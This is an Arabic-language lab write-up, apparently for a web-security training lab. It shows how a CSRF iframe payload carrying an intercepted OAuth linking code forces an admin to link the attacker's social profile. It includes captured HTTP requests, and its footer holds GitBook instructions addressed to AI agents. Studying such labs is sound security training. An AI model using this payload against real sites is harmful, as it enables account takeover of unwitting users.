> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/oauth-authentication/forced-oauth-profile-linking.md).

# ربط إلزامي لملف OAuth الشخصي

### إجبار ربط ملف تعريف OAuth

**وصف المختبر**

يوفّر هذا المختبر وظيفة لربط ملف تعريف شبكة اجتماعية بحساب مستخدم للاتصال عبر OAuth بدلًا من استخدام المصادقة التقليدية. / وبسبب تنفيذ غير آمن لتدفق OAuth من جهة العميل، يمكن للمهاجم تحويل هذه الآلية لربط ملفه الاجتماعي الخاص بحساب مستخدم آخر.

الهدف:/ تنفيذ هجوم CSRF لربط ملف تعريف شبكتك الاجتماعية بحساب مسؤول الموقع، ثم الوصول إلى لوحة الإدارة وحذف المستخدم **carlos**.

القيود:

* يفتح المسؤول بشكل منهجي أي محتوى يُرسل من الخادم المُشغِّل.
* يكون لدى المسؤول دائمًا جلسة نشطة على موقع المدونة.

**الحسابات المتاحة**

* حساب الموقع: `wiener / peter`
* ملف تعريف الشبكة الاجتماعية: `peter.wiener / hotdog`

<figure><img src="/files/e8e4b5a4c55f8cdce0866d306b5035885f130558" alt=""><figcaption></figcaption></figure>

**تحليل آلية OAuth**

* يتيح الموقع اتصالًا تقليديًا عبر اسم المستخدم وكلمة المرور.

<figure><img src="/files/689a0f8ace736e7f58f3db82cd23d6e99078fcfc" alt=""><figcaption></figcaption></figure>

يتوفر أيضًا اتصال عبر OAuth (شبكة اجتماعية).

<figure><img src="/files/7eb6d5524d8b8acbaaa7423a3e02db3a15fa90d7" alt=""><figcaption></figcaption></figure>

* يمكن للمستخدم الحالي ربط ملف تعريف شبكة اجتماعية بحسابه.

أثناء عملية الربط، يتم إرسال طلب OAuth إلى نقطة المصادقة:

{% code overflow="wrap" %}

```http
GET /auth?client_id=s4z8vs36ubaet908r8qfn&redirect_uri=https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

بعد المصادقة، تتم إعادة توجيه المستخدم إلى عنوان URL يحتوي على رمز OAuth:

```http
GET /oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q HTTP/2
```

هذا الرمز:

* يُستخدم لمرة واحدة
* لربط ملف تعريف OAuth بالحساب المُصادَق عليه حاليًا

<figure><img src="/files/6a447106b910021e7c2f29b9f61ca788d23e8d9f" alt=""><figcaption></figcaption></figure>

**استغلال الثغرة**

1. ابدأ إجراء الربط بين حسابك وملف تعريف شبكتك الاجتماعية.
2. اعترض وانسخ `/OAuth-linking?code=...` عنوان URL.

<figure><img src="/files/b5a625dcb0e829c0cd4d88f23d9663d4b704919f" alt=""><figcaption></figcaption></figure>

أفلت الطلب حتى لا يتم استهلاك الرمز.

من الخادم المُشغِّل، أرسل هذا العنوان إلى المسؤول عبر هجوم CSRF، مثلًا باستخدام iframe

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q"></iframe>
```

{% endcode %}

يقوم المسؤول بتحميل الصفحة:

<figure><img src="/files/2464a81d450ac71cb4a9d115522290fad0139d9a" alt=""><figcaption></figcaption></figure>

تم استهلاك رمز OAuth

<figure><img src="/files/6b7b5cc0e6998600aae7bfa3bac5c41b311473e2" alt=""><figcaption></figcaption></figure>

تم ربط ملف تعريف OAuth الخاص بالمهاجم بحساب المسؤول

<figure><img src="/files/15856f0d36ba1fd941583a5a37478b69f66ef0a9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/oauth-authentication/forced-oauth-profile-linking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
